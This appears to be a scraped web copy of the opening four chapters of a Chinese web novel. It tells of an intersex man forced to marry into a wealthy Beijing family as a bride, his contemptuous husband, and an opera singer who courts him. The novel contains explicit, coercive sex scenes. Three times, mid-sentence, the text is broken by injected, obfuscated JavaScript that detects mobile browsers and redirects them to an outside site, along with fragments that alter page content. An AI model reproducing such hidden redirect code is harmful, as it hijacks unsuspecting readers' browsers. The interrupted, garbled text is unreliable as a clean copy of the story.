《风雪千山》 1. 第 1 章 1 酷夏,天气热极了,入夜之后没有丝毫凉意,燃烧的一盏烛火显得屋子愈发暗。 大红木造的雕花大床,床帐垂落,隐约映出两道交缠的身影,骑在上头的是个男人,肩宽,腰腹有力,动作凶却透出几分敷衍和不耐。他身下的是个瘦削的身影,似乎不堪忍受这样的粗暴,几根手指逃也似的钻出紧闭闷热的床帐,攫取了几分夏的干燥,不清爽,可好像也显得分外珍贵。 手指修长细瘦,指节也比姑娘的长,像是男人的手,蜷缩着,如同要攥住这可供喘息的几缕气息。 突然,男人身体微微发颤,底下的人也发出了一声呜咽,那声音细细的,小小的,宛如被叼住了后颈的小兽。 情事结束了。 许明意看着毫不留恋就抽身而走的男人,恍了恍神,他如傀儡一般生硬地攥过可怜地抛在角落的薄被掩盖身体,仿佛能以此来挽回复被踏碎的尊严,泛红的面颊不知何时褪去了血色,显得有些苍白。 帘子因男人出去沐浴而半开着,封在帐子内的滚烫情欲气息一气儿泄了出去,盛夏天,莫名的让人觉出有些凉意。 许明意愣神地想,怎么会变成这样呢? 许明意是个男人,半年前却自津门嫁来了四九城,嫁给了张家的大少爷,张靖遥。 这是一桩荒谬的婚事,可许明意没有选择。清廷没了,许家也随着清廷而没落了,许明意是许家庶子,又因着天生畸形,素来不得他爹的喜欢。许家老爷风流,许家子嗣多,许明意原本并不起眼,可自张家大夫人找上许家,点名要许明意嫁给张靖遥之后,一切就变了。 张家大夫人冯氏和许家大夫人沾亲带故,细细算去,是出了五服的亲戚,真要算起来,许明意还得管张靖遥叫一声表哥。许明意不知他们谈了什么,等他知道这件事时,许家已经下聘了,道是要娶许家的九姑娘。 可许家没有九姑娘,许明意便由七少爷,变成了莫须有的九姑娘。 张家在四九城里是数得上的大族,许家算高攀了。 许明意做了十九年的男人,就这么穿着凤冠霞帔,被抬入了张家,从此成了张家的大少奶奶。许明意不知道为什么张靖遥要娶他,直到真正进了张家门,他才明白,不是张靖遥要娶他,是张家娶他。 一切只因为张靖遥喜欢男人,不爱女人,甚至看着女人的身体便不成,张家无可奈何之下,不知从何处知晓许明意畸形的身体,便逼着张靖遥娶了他。许明意记得张靖遥,他那新婚丈夫在二人成亲的当晚,脸色有多冷漠,动作更是极其粗暴。 也不知是幸还是不幸,张靖遥对着他竟没软下去,可每回做事都要在暗处,都是让许明意撅着屁股,背对着他。许明意这人一向懦弱温顺,这桩婚事虽来得莫名其妙,可张靖遥生得好,一副皮囊更是优越,许明意在花轿上窥得一眼,有些恍神,隐隐约约地想——好像,也不是那么不好。 直到有一回许明意无意中转过身,教张靖遥瞧见了他畸形的下身,金尊玉贵的张少爷脸色大变,竟急忙逃了出去,随之而来的是呕吐声。 屈辱至极。 张家和许家定下了交易。 若是许明意为张家生了一个孩子,男孩儿,就给许家一万大洋。 许家早被阖府大烟鬼掏空了,能得一万大洋,自是巴巴地将许明意送给了张家,没人管他的生死。 许明意不知道张靖遥是何时走的,张靖遥从来不和他同眠,他在外头有人,是个当红的小花旦。 许明意知道。 翌日,许明意依着张家规矩来和张家老爷、大夫人一起用早膳。 张家规矩重,许明意早早就要起来守在张家夫人院外,等着向二老请安。即便他们都知道许明意的裙裳之下是一具不男不女的身体,可许明意既进了张家门,就是张家妇,就得守张家规矩。 毕竟,当初张家为了娶许明意,就花了五千大洋。 许明意嫁入张家半年,他惯了逆来顺受,再是荒唐,也只能默默忍受——有时就连他自己都不知,他究竟是男人还是女人。他的生母是他爹的姨娘,姨娘生了他之后就彻底被他爹厌弃了,在许明意的记忆里,姨娘总是目光幽幽地瞧着他,叹着气,女人的悠长愁苦的叹气声成了许明意挥之不去的梦。 即便后来姨娘落水亡故后,许明意都似还能听见姨娘的叹息声。 姨娘说,明意,你若是个男孩儿就好了,再不济……是个女儿,可偏偏生得这般。 她说,你毁了娘啊。 许家人为他置办了嫁衣,还打包了一箱笼的衣裳,尽都是裙裳,他愣愣地看着,小声地对许家大夫人说,夫人,我怎能穿这些? 许夫人瞧了他一眼,笑道:“小九啊,姑娘不穿罗裙,穿什么?”突然,她翘起涂了丹蔻的手指,对自婚事定下,就拨来许明意身边的嬷嬷说,“将嫁衣给九姑娘穿上试试,若不合身,还得再改改。要是穿着不合身的嫁衣去张家,平白丢了许家的脸面。” 许明意下意识地退了一步,摇头道:“夫人,我不想试 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许明意还未说话,张靖遥已经先开了口,说:“我没有时间。” 张夫人皱了皱眉,道:“你哪日有时间?” 张靖遥神色冷淡,说:“最近都没有时间,要去上香你们去便是。” 张夫人说:“我听人说,要去求子,夫妻都要去拜上一拜才显得心诚,你们都成亲半年了,九娘肚子还没个动静。” 听见这话,许明意下意识地垂下了眼睛盯着面前粥底漂着的细细肉沫,张靖遥冷笑一声,说:“我早就让你们死心,谁知道他能不能生,你们非要弄进门……” 张夫人:“何大夫说过,阴阳同体虽罕见,可不是没有生的,他曾是宫中御医,见多识广,又为九娘看诊过,说了九娘能生。”她自言自语道,“许是时机未到,明日不管你有什么事,也给我将事情推了。” 张靖遥面无表情道:“推不了。” 一直没有说话的张老爷终于开了口,沉声道:“你能有什么事?” “还想去和那个戏子厮混?!” 张靖遥声音一下子就提高了,道:“爹,你们说过只要我娶许九娘,就不再管这事儿!” 桌上的气氛渐渐有些剑拔弩张,许明意静静地听着,心不在焉地数着碗中剩下的米粒,只是见张靖遥如此护着外头那个戏子,心里还是浮现了几分讽刺。 2. 第 2 章 等到去娘娘庙上香时,张靖遥还是一道去了。 许明意穿了身缎面的天青色立领长袄,下头是浅色凤尾长褶裙,绣花精致,这一年来他不曾剪过发,头发长了,经侍女的妙手,着上妆,除了高挑清瘦些,瞧着和四九城里出嫁的姑娘一般无二。 说来可笑,许明意头一回穿绣花鞋时,好像被人拧住了双脚,竟是如何走路都忘了。如今竟也能自如地行走,足见人有时和牲畜没什么区别,被拴住脖颈套上铁枷,板子抽上去,见过血,但凡想苟活,总能变成他人手中一张任意涂抹的画。 娘娘庙在四九城城郊,正逢庙市,来往人流如潮,熙攘热闹。杂耍的,卖字画玉石的,各色小食也热气腾腾,摊主都尽力吆喝着,那调儿拐了好几个转。 许明意自嫁入张家之后,许久没有一下子见这么都人,又是盛夏,滚烫的热浪拂将过来,下了马车不过走上几十步,就发了汗,有些心浮气躁。张大夫人走在最前头,许明意和张靖遥跟在身后,张靖遥快上半步,好似是连和许明意并肩也不愿意。 娘娘庙香火鼎盛,空气里都弥漫着香烛和线香燃烧的味道,噼里啪啦的鞭炮声里,冒起了重重白烟。 许明意跪在蒲团上,仰头看着供在高台上的神像,出神地想,上天将人分为男女,女子生儿育女,即便是娘娘当真有灵,又怎么会将孩子赐予他? 张靖遥也跪在他身旁,开口嘲道:“人人都求心想事成,可哪有人事事如意?” 许明意轻声说:“大少爷,神灵面前,还是有些敬畏的好。” 张靖遥扯了扯嘴角,道:“你当真以为上了香,就能怀上了?” 许明意低声道:“心诚则灵。” “娘娘若是有灵,又岂会让你这等人做母亲?只怕你腹中的孩子也要恨不得再投胎一回,否则,有你这么个不知是男人还是女人的母亲,他要如何自处?”张靖遥话说得刻薄,许明意脸上掠过一抹难堪,垂下了眼睛没有再说话。 张靖遥有点儿烦躁,他不喜欢许九娘,可偏偏这人成了他的妻子,还一副逆来顺受的模样,任张靖遥如何恶语相向,他都隐忍不语,好似谁亏待了他似的。 是许九娘上赶着要嫁给他,他若不愿,自有千种法子,说白了,还不是看中了张家给的好处。 这世上岂有白得的好处? 许九娘这般自甘下贱,和八大胡同里的妓子无二致,他也不是付邻春,张靖遥想,他自没必要怜惜他。 上过香,张夫人尚要留在庙中,便让张靖遥陪着许明意出去走走。张靖遥虽心中不愿,想着出去了就寻个由头先走就是,左右香已经上完了,便应了。 许明意意外地看了张靖遥一眼,张靖遥脸上没什么表情,二人一前一后走了出去。 庙中香客多,张靖遥腿长,步子迈得也大,许明意下头穿着罗裙,是女人的扮相,自是不能和张靖遥一般大步流星。出了娘娘庙便是庙市,人更多了,许明意在津门时被拘在许家,来了四九城后关在后宅,鲜少这般挤入沸腾的人群,嘈杂而陌生,天气又热,撵着张靖遥的步子,不多时就出了一身汗。 “大少爷,”许明意有些慌,下意识地想叫张靖遥,张靖遥侧头看了他一眼,就对上了许明意慌乱的目光。他见过这人胆怯的,紧张的,麻木的,如此慌乱,又有几分求救似的意味还是头一遭。他顿了顿,许明意便攥住了他的衣袖,他垂下眼睛,看着那几根细瘦修长的手指,许明意也反应了过来,烫着了似的,又缩了回去,他小声道:“您等等我。” 张靖遥皱着眉,道:“矫情。” “你又不是小姑娘,如此怯懦作态作甚?” 许明意袖中的手指紧了紧,解释道:“罗裙穿着……不习惯。” 是当真不习惯。 张靖遥说:“我看你倒是习惯得很。” 许明意怔了怔,张靖遥淡淡道:“你不必跟着我,香已经上完了,我要回城了。” 许明意本想说他能不能一起回去,平心而论,他并不愿意和张夫人共处一室,更不喜欢张夫人盯着他肚子那遗憾又惋惜的目光,可对上张靖遥的神情,便将话都吞了下去。 张靖遥就这么走了。 张夫人有意让他二人相处,没让下人跟着,许明意环顾四周,尽都是一张张陌生的面孔。突然,人流涌动起来,锣鼓声里,却是昂扬抖擞的舞狮穿梭入人群,开路的是踩着高跷的杂耍艺人,戴各色面具穿着戏服的,热闹至极。 噗——是喷出的一团火,激起一片叫好声。 刹那间,许明意好似跌入一个光怪陆离的世界,耳边嘈杂的人声忽高忽低,扑到眼前的,是一张张涂抹了油彩,辨不清面目的脸。唰的一下,一张夸张的,顶着两坨腮红的大头年画娃娃面具凑许明意面前,许明意惊得退了两步,不知谁踩了他一脚,绣花鞋竟脱了脚,狼狈得不像话。 那人似乎也没想到他这样大的反应,歪着脑袋看了他半晌,顶着那张脸张牙舞爪地往人前一晃,逼退了两行人,也露出了许明意那只被人踩了好几脚,印着鞋印子的精巧绣花鞋。 他俯身捡了起来,往怀里一揣,直接伸手就攥住了许明意的手臂,说了声:“走。” 许明意想挣脱他,可这人手劲儿大的出奇,鬼使神差的,许明意胡乱地拽着裙摆,顾不得老嬷嬷耳提面命的端庄体面,跟着他如同游鱼,钻出了人群。 许明意跌跌撞撞地跟着这人闯出了人群,天气酷热,大颗汗珠滚落脸颊,热烘烘的暑气蒸腾的热浪熏人眼。许明意不识路,等他反应过来时,已经在一条阴凉的巷道里了。 他这才惊觉自己竟跟着一个陌生人走了,顿时一个激灵,猛地抽回了手,那人没料到他劲儿也挺大,转过头来,那张滑稽的大头娃娃脸面具就对着许明意,说:“现在才怕,是不是迟了?” 嬉皮笑脸的,是一把年轻男人的嗓音,跑急了,带了点儿喘。 许明意警惕地盯着他,想退一步,却又发现自己的一只鞋子不见了。 “找这个呢?”男人从怀里掏出一只绣花鞋,在许明意面前一晃而过,又掂了掂,说,“哎,你脚还挺大。” “你们大户人家的姑娘不都兴小脚吗?你脚怎么这么大,”说着,还比划了一下,“嚯,都跟男人的差不多了。” 他嘀嘀咕咕的,问得自然,好似当真是不解,倒教人生不出什么厌恶的心思。许明意心里却慌了慌,抿紧嘴唇,朝他伸出手。 “怎么不说话,你是个哑巴?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许明意没有回他话,顾不得脏兮兮的袜子,穿上了,踩上绣花鞋,心才定了下来。他抬起眼睛看着这人的背影,大头娃娃面具罩住了头,夏天衣裳薄,跑得汗湿了,显出结实有力的肩膀。对方似乎察觉了许明意的视线,回头看着许明意,许明意鬓边发丝垂落了几根,嘴唇嫣红,是张秀气漂亮的脸,立领长袄锁住了脖颈,裹得严严实实,和四九城里那些深宅中的年轻女人没什么两样。 可他却想起许明意立在人潮里,恍惚茫然的模样,好像下一瞬就要被碾碎了。 怪可怜的。 很能勾出人骨子里深藏的恶,也招人怜。 许明意看着大头娃娃面具上那双被勾出的眼睛,弧度弯若新月,不笑也像在笑,可又透着股子滑稽,他犹豫了一会儿,福身行了一礼算是道谢。 这些女子的礼仪都是在许家大夫人的眼皮子底下学的,学不好,板子就会抽在身上,啪的一声响。 这样端庄规矩的东西,对男人来说,少见,有点儿稀奇,他嘿然一笑,晃了晃头上顶着的那个年娃娃面具。这面具讨喜,又是个扎了双髻的女娃娃模样,无端就多了几分可爱,许明意绷紧的嘴唇微微放松,露出了一点笑。他又点了点头,抬腿便要走,就听对方喊住了他,“哎!” 许明意回过身,那人却摘下了头套,面具下是一张很年轻的脸,意外的俊俏,鼻梁挺,眼睛是桃花眼,看人先有几分含情的意味。他头发被汗水打湿了,却不损丝毫英俊,反而多了些洒脱,他伸手指指了指许明意,又勾了勾自己鬓边的头发,笑嘻嘻道:“乱了。” 许明意一怔,面上微红,胡乱抬手将发拢了拢,步履匆匆地退出了这条狭窄的巷道。 许明意本以为这只是一次萍水相逢,没想到,他竟会和这人再次相遇。 那是在前朝怡郡王府老福晋的寿宴上,许明意跟着一道来为福晋贺寿。那人是来贺寿的吉祥班的台柱子,老生唱得极好,那日唱的就是一出《龙凤呈祥》。 3. 第 3 章 清廷不复,不乏遗老仍享着黄昏的余晖,怡郡王便是其中之一。他的福晋办寿宴,偌大的府邸上宾客如云,灯火通明下,有穿长袍马褂的,亦有西装革履的,交织成了一场新旧时代交融的梦幻般的迷梦。 老福晋爱听戏,今日戏班子就请了两个,台上咿咿呀呀不绝,好不热闹。 许明意鲜少参与这样的盛会,满目奢华里,人人都顶着笑,寒暄着,或高谈阔论,或大谈西洋时新事,有的许明意能听懂,有的他听不明白,他们之间仿佛隔了鸿沟天堑。许明意在津门时也是读过书的,不过是在张家家学读的,因着打小不被待见,备受欺凌,这十几二十年里实在是泛善可陈。他跟着张靖遥来的,张靖遥颇有才名,是正儿八经的官身,认识他的人颇多。 许明意看着气度温雅、侃侃而谈的张靖遥,不由得有些自惭形秽。 期间他们碰上张靖遥的好友,对方还是头一回见许明意,玩笑道:“弟妹和靖遥倒真是郎才女貌天作之合,此前靖遥还说什么无意成家,分明是缘分未至,瞧瞧,这缘分到了,不就巴巴成亲了?” 许明意愣了愣,下意识地抬起头,看着张靖遥,张靖遥在人前做足了面子,拍了拍许明意的手,微笑道:“岸之说笑了。” 一旁的人也笑道:“我平日读靖遥的文章,期间多缠绵悱恻,我们问他写给谁的,还不肯说,一直藏着。” 张靖遥道:“我家夫人面皮薄,诸位还是不要再开玩笑了。” “哈哈,”那几人都笑了开去。 许明意恍了恍神,刹那间,好似他和张靖遥之间有多情深义重,鹣鲽情深,可走到无人处,张靖遥便拂落了许明意的手,神色冷淡,他心头一凉,顿时又清醒过来。 张靖遥淡声道:“这儿是在外头,人多眼杂,你老老实实的,别丢了张家的脸。” 许明意抿了抿嘴唇,低声道:“我明白。” 民国了,男女大防自是不比前朝,怡郡王府上仍是沿袭旧习,分了男宾女客,跟着府中的下人坐在一众女客里的许明意越发如坐针毡。许明意面容虽不显男相,可他个子高,一走来,便吸引了在座贵妇人的目光。那一道道好奇的目光都让许明意不知如何自处,愈发觉得难以喘息。 他本是不想来的,可张夫人这两日得了风寒,身子不爽利,不能失礼,便让张靖遥带着许明意一起来了。来前,张夫人还仔细地叮嘱许明意,少开口,少说话,若不知说什么,笑便是,不必去搭话应酬。许明意此前也跟着张夫人参加过几场这样的宴席,毕竟他是张家的大少奶奶,若是一味闭门不出,只怕要受人非议,还道张家娶的这个大少奶奶,是不是上不了台面。可独自置身于这样的场合下还是头一遭,所幸他面生,认得他的人不多,倒也没什么人和他搭话。 今日请的是北平名声颇响的戏班子,胡琴小鼓奏得响,浓妆的伶人在台上唱着戏,不时引起叫好声。许明意不看戏,也不懂戏,他脑子里一根弦紧绷着,戏台上唱了什么,那是半点也不曾入耳,依稀只见几张勾了油彩的脸。 冷不丁的,一个名字入耳,他心头跳了跳,抬起头看向了戏台。 付邻春,付老板。 台上唱的是一出《天女散花》,天女甩着手中的软绸,步步生莲,自有一番端庄婉约,教人只可远观而生不出半点亵渎之意,好似当真是那天上天女来人间一会。许明意看着戏台上那道身影,心想,原来这就是付邻春——张靖遥念念不忘的人。 突然,许明意对上了台上人的目光,那是一双极美的眼睛,波光流转间,又带着几分戏中天女的慈悲。 台下喝彩声如雷。 许明意垂下眼睛,目光落在自己自己裙面的绣花上,不知怎的,再坐不住悄然离席而去。 郡王府的院子修得大,假山流水,花木扶疏,盛夏里蝉鸣蛙叫声更添雅趣。 许明意走了出来,教夜风一吹,整个人都似清醒了一般。他想起自己的落荒而逃,不由得苦笑,难怪素来不爱应酬的张靖遥听闻是来怡郡王府上就来了,即便身边要带上他。 他想,他逃什么呢?他逃得了吗? 许明意不愿再多想,这本就是一桩交易,局中人个个身不由己。 他在一个亭子里坐了好一会儿,思忖着许是该到了宴席将散的时候,便起身往回走了,没承想,朱红长廊下,竟瞧见了两道身影,当中一人熟悉至极。 正是张靖遥。 另一人妆还未卸,借着月光,许明意也看清了对方的模样,是付邻春。 他下意识地止住脚步,看着二人相对而立,好似在说着什么,只是隔得远,许明意听不清。 突然,有脚步声传来,他吓了一跳,还未反应过来时身旁伸出了一只手攥住了他的手臂,将他拽入了假山里。 几个郡王府中的下人说笑着走了过去。 许明意心跳如擂鼓,睁大眼睛直直地看着跟他进来的人,背着光,他瞧不清模样,可却反射性地抬脚踢了出去。对方抽了口气,将他抵在石壁上,说:“原来脚大的女人,劲儿也挺大的。” 声音吊儿郎当的,带了些笑意,有些耳熟。 旋即,许明意就想起了这人是谁了。 许明意本想开口让他将自己放开,可话到嘴边又顿住,只是用力地挣了挣,这人笑了声,他有一把金玉般的好嗓子,听在耳中如细羽搔人耳朵,他说:“刚刚瞧着还当是认错了人,没想到还真有这么巧。” 他话说完,攥着的手也松了松,道:“小哑巴,还记得我吗?” “娘娘庙庙市里给你捡了绣花鞋的那个,”他还比划了一下,笑盈盈地说,“年娃娃。” 许明意不惯对方这熟稔的态度,有些无所适从,犹豫了片刻,还是点了点头。假山石缝里太逼仄,对方个头高,挨近了,方觉察出对方不但劲儿大,裹在衣裳下的躯体也硬邦邦的,没来由的就觉得不自在。他小心地往外头挪了挪,男人似乎也发现了他的不自在,哼笑着跟着往外挪了挪,透着股子蔫坏的劲儿。 许明意被他这孟浪轻浮的姿态搅得有点儿恼,刚想瞪他,月光皎洁,照亮了对方那张勾了浓重油彩的脸,也映亮了那身戏服。 竟是方才台上《龙凤呈祥》的老生,只不过摘了长髯和冠帽,吊了眉,面上红油彩还未卸去。 许明意愣了下,他也看清了许明意的讶色,嘿然一笑,道:“眼睛瞪那么大作甚,瞧你这模样,是府上来贺寿的宾客?方才不是在台下见过我了?” 许明意确实见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887507|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可他心思不在戏上,只匆匆瞥得两眼,能记住这人的扮相已是他记性好了。 他不说话,青年也不觉无趣,说:“别的不说,这出《龙凤呈祥》可是我的拿手戏,唱得不比付邻春那出《天女散花》差吧。” 付邻春。 许明意这才想起方才在长廊上见到的两道身影,他恍了下神,就听这男人道:“方才见你看得那么认真,一副失魂落魄的模样,是在看付邻春和张——”他顿了下,好像在想什么,说,“张靖遥?” 许明意眼睫毛颤了下,抬起头看着那张看不清本来面貌的脸,他恍然,“原来你就是张靖遥从津门娶回来的妻子。” 许明意听他这口气,心里突然生出几分恼怒,面无表情地看着他,他摆摆手,笑道:“别恼别恼。” 他看着许明意今夜特意雕琢过的面容,微微一笑,道:“你是知道张靖遥属意付邻春了?” 许明意脸色微白。 “啧,真可惜,”这人道,“你男人对付邻春可是痴心一片,不过,四九城里喜欢付邻春,乐意捧着他的海了去,你男人不是第一个,也不会是最后一个。” “不过——” 他轻轻笑了下,道:“我听说他还想娶付邻春呢。” “捧戏子不是新鲜事,想娶戏子的可是少见,书生多风流,你男人对付邻春倒还真是痴心不改,正经太太都娶了,还惦记着呢。” 许明意心中想,可不是,还想着呢。 可就如这人所言,捧戏子在这四九城里再寻常不过,甚至这还是风流韵事,只要他不是要将付邻春娶进门。 娶一个戏子了不得,娶一个男人,更是了不得。 人人都知道张靖遥是付邻春的戏迷,是他的笔杆子,为他写剧本,这等“痴心”落在他人眼中,是雅事,纨绔不捧戏子不好酒色叫什么纨绔?所以也没人将他对付邻春的真心当真,他循着正轨娶了太太,再捧戏子,他人也不过付之一笑。 没什么大不了的。 没人知道,张靖遥已经痴到了非他不可的地步。 提及这桩事,许明意面上浮现几分难堪,他直勾勾地盯着面前的戏子,嘴唇抿得紧紧的,像被人逼入囹圄的小兽,好可怜。 男人眯了眯眼睛,笑了起来,转过话题,道:“哎,喜欢听戏吗?” 许明意面上没什么表情,摇了摇头,此前不喜欢,因着张靖遥和付邻春这事儿梗着,他更不可能喜欢。 他叹了口气,道:“真可惜啊。” 失落好像不过一瞬,那张脸又露出笑,很鲜活恣肆,道:“你是因着你男人和付邻春不喜欢戏?” “我的戏可和他们不一样,”他微微俯下身,对许明意说,“来听我的戏吧。” “你男人被付邻春迷了魂,你就不想知道戏有什么好的?”这话声音低低的,带着毫不遮掩的蛊惑,像在诱着他悄无声息走入荆棘遍布的花丛,他说,“不过听听戏,没什么大不了的,这年头不听戏才奇怪。” “不要画地为牢将自己拘着,忒可怜了,外头的天,”他深深地吸了一口气,微笑道,“大着呢。” 青年走时对许明意说:“我姓闻,闻鹤来。” “小哑巴,我等着你啊。” 4. 第 4 章 外头的天,大着呢。 这话一直在许明意耳边萦绕,自小到大,从未有人这样和他说过话。那一瞬间,他仿佛窥见了一缕朗朗乾坤,有风拂过,吹动树梢叶子簌簌作响,送来不知名的花香。 许明意心不在焉地朝外走去,转过拱门,人声便嘈杂了,已是宴将散时,他一抬头,就看见了张靖遥站在几步开外的身影。他微微蹙着眉,正看着他,二人目光对上,许明意心头狠狠跳了跳,没来由的,竟然生出了几分说不清道不明的心虚。 “去哪儿了?”张靖遥神色不悦,道,“让人去找你,她们说你早就离席了。” 许明意抿了抿嘴,小声道:“有些闷,就出去转了转。” 张靖遥拧着眉,道:“我不是交代过你,不要乱走?” 许明意垂下眼睛,“对不起。” 张靖遥看着他温顺怯懦的模样,心里梗了梗,本就烦躁的心愈发不快,他盯着许明意看了半晌,许明意耳垂肉薄,穿了耳洞,挂着碧绿的精巧翡翠坠子,衬得肤色极白。他手指动了动,有那么片刻,他竟想将那挂了耳坠的耳朵捻在指腹揉上一揉,可这念头不过一闪而过,他就猛地清醒过来——他疯了,他怎么会这样想? 定是喝了酒,又在邻春那儿碰了壁,才一时迷了心。 张靖遥道:“算了,回去吧。” 许明意低低的,“嗯。” 当夜二人滚到了一处,张靖遥心里携了怒,又饮过酒,下手就愈发没分寸。许明意被压在床沿,翘着白生生的臀,承受着身后男人的顶撞,他瘦弱,整个人都笼罩在张靖遥的阴影下。 张靖遥虽说是个读书人,可他生得高大,一身肌肉结实精壮,本钱也足,弄起人来简直是一柄利刃。许明意咬着被褥不住发颤,涎水洇湿了被面,冷不丁的,嗓子里泄出一声哭喘,再忍不住求饶:“大少爷,求您……” 张靖遥心里发躁,闻言不为所动,掌心里那截腰细窄,颤动闪躲,发了汗,滑腻的皮肉贴着游动,反而勾得人攥得更紧。许明意虽不招人喜欢,可畸形的身子却实在美妙,是男人又是女人,乾坤阴阳都聚在一处,怪得让人心尖发颤。张靖遥出了一身汗。快意愈甚,张靖遥又有些抗拒这种蚀人心魄的快感,他想,他喜欢的是付邻春,和许明意——不过是权宜之计。 张靖遥冷声道:“闭嘴。” 许明意呜咽了声,可实在受不住,今晚的张靖遥好凶,不似文人反像个残忍蛮横的暴徒。二人自成亲至今,自新婚那夜后,只要张靖遥的身体一压上来,被压制,剖开,掠夺的无力和痛如潮水般再度涌来,让许明意控制不住地惊惶哆嗦,闭上眼,便是张靖遥冷漠不耐的眼神。 毫无温存可言。 许明意恍恍惚惚地想起今夜在台上惊鸿一瞥的身影。 付邻春。 张靖遥心里真正喜欢的人。 的确是神仙人物,只那双眼睛已是漂亮至极,让人见之难忘,无怪张靖遥这么念念不忘。二人在长廊上时,即便是隔得远,许明意也能觉察出和付邻春在一起的张靖遥收敛起所有锋芒,又成了四九城里人人称道的张大少爷。 许明意不再哭求,偶尔泄出的几声呜咽反倒显得愈发可怜,张靖遥垂下眼睛,就看见了许明意腰上的掐痕,他下意识地稍稍松开手,许明意就如同觅得了一线生机似的,竟往上爬了爬,想逃离开他的桎梏。 张靖遥心中一恼,抬手一巴掌逼出了许明意的哀叫。 许家虽没落了,可到底算个少爷,许明生得忒瘦弱,也不知怎么养成了这个样子,偏偏那点肉都长在了臀上。平日罩在裙裳里还不觉得,脱了衣服,色欲横流。 张靖遥掐着他的腿根将人拖了回去,言辞尖刻,淡淡道:“躲什么?” “你本就是张家买回来留后的。” 张靖遥道:“半年了,许九娘,你到底能不能生?” 他俯下身,抬手按着许明意的肩膀,道:“还是说,你根本就怀不了胎,是你们许家串通了何大夫诓骗我们?” 许明意听着他话中的厌恶和恶意,不住摇头,“我不知道……我没有。” 张靖遥冷笑一声,道:“有没有,你自己知道。” “别以为你能做一辈子的张家大少奶奶,”张靖遥说,“你能怀也好,怀不了也罢,正好让我爹娘死心,到时你就给我滚出张家。” 许明意打了个哆嗦。 张家当初花了五千大洋娶他进门,允诺一旦他生下子嗣,若是男婴,就再给许家一万大洋。要是他被张家赶出家门,他大抵是津门也回不去了,许家容不下他,更不会放过他。 许明意回过头,那双泛红的眼睛就这么望着张靖遥,眼里有惧,有茫然,湿透的头发黏着脸颊,他摇头,啜泣道:“我没有骗你……” 张靖遥恍了下神。 许明意落着泪,脑海中却又浮现张靖遥和付邻春站在长廊上的模样,不再遥远,是穿着长衫,衣冠楚楚的张靖遥和勾了油彩的“天女”,二人居高临下地看着他,看着他卑微乞怜,毫无半点尊严。 半年来堆积的怨,不甘成了厉鬼在耳边尖啸,在那一刻,许明意心中竟滋生出了尖锐的恨。 盛夏天热,树上的蝉鸣声不绝,聒噪得让人心烦意乱。茶馆里闹哄哄的,茶博士提着茶壶辗转在四方桌前吆喝着,有闲聊东家长李家短的,有聊报上哪个军阀又打了哪个军阀的,更多的是谈今日的戏。 今日太平茶楼里唱的是一出《战太平》,隆庆戏班闻鹤来闻老板唱的老生。 许明意坐在二楼角落里盯着前头的宽敞戏台,仍旧无法相信自己竟真的来听闻鹤来的戏了。难怪闻鹤来只告诉他一个名字,就笃定自己找得着他。闻鹤来在这四九城里以唱老生闻名,四九城梨园行传着这么一句话,道是梨园行新秀,旦角看付邻春,老生听闻鹤来。 他的座儿不临窗,其实也瞧不见什么,茶博士将他引上楼时,见他坐在那处,还有些诧异,可许明意戴着帷帽,瞧不清脸,摆明了是不想别人知道“她”,见状陪着笑笑,也没有多问。 许明意松了一口气。 台下不知何时已经开了场,京戏热闹,许明意看不见戏台上的场景,他也不曾听过《战太平》,只是听着一旁戏迷的议论,隐约猜出这是一出怎样的故事,闻鹤来又是何时登场的。 这人虽跳脱,可一把嗓子极好,清脆洗炼,即便未见着人,听了片刻,许明意也不觉沉浸入戏中。 戏中故事跌宕起伏,唱的是忠孝节义,有自尽守节,有家国大义。当戏中的花云身陷囹圄,悲怆高呼“我主呀,万岁!臣不能保全江山社稷了”,横剑自刎时,听戏的无不为之动容。许明意不知何时离了座儿,靠在窗边看着台上自刎的花云,闻鹤来将自己的影子藏得干干净净,好似上了台,他便不是自己,看着他慷慨赴死的那一刻,许明意的心都紧了紧。 一场戏结束,许明意如梦初醒,又回到了这嘈杂喧嚣的尘世里,不知怎的,他突然间好像明白为什么这么多人喜欢听戏了。 世道多艰,戏一开场,无论过得多苦,都能抛下重重包袱躲在戏台的人生里跟着哭,跟着笑,好像重新走了一遭帝王将相、才子佳人的故事。戏里的悲也好,痛也罢,到底是别人的,不加诸于自己身上,落过泪便罢,不至彻骨,反倒能一抒心中的沉郁。 即便是戏落幕了,借着这点余韵,走出去,无端心中就又生出一点勇气。 人,微如蝼蚁,偏又坚韧如石中藤蔓,从来都是如此。 他走下楼梯时,旁的听客还沉浸在戏中,茶博士佝着身迎上来,讨巧地叫太太,“一会儿闻老板还要给诸位谢座儿呢。” 许明意看了他一眼,摇了摇头,抬腿便走了出去。 听过第一回戏,有第二回就也不足为奇了。 许明意和闻鹤来说上话,却是许明意听他第三折戏的时候了,他想离开,却听茶博士道:“太太,闻老板让小的给您传个话,闻老板说,您若是不急着走,且等一等他。” 许明意抿了抿嘴唇,耳边犹有戏迷们津津有味的赞叹,他看着那道门槛,盛夏里太阳毒,火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15887508|176441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辣辣的,里头人虽多,可有屋宇遮蔽,如同两个世界。 过了许久,他应道:“好。” 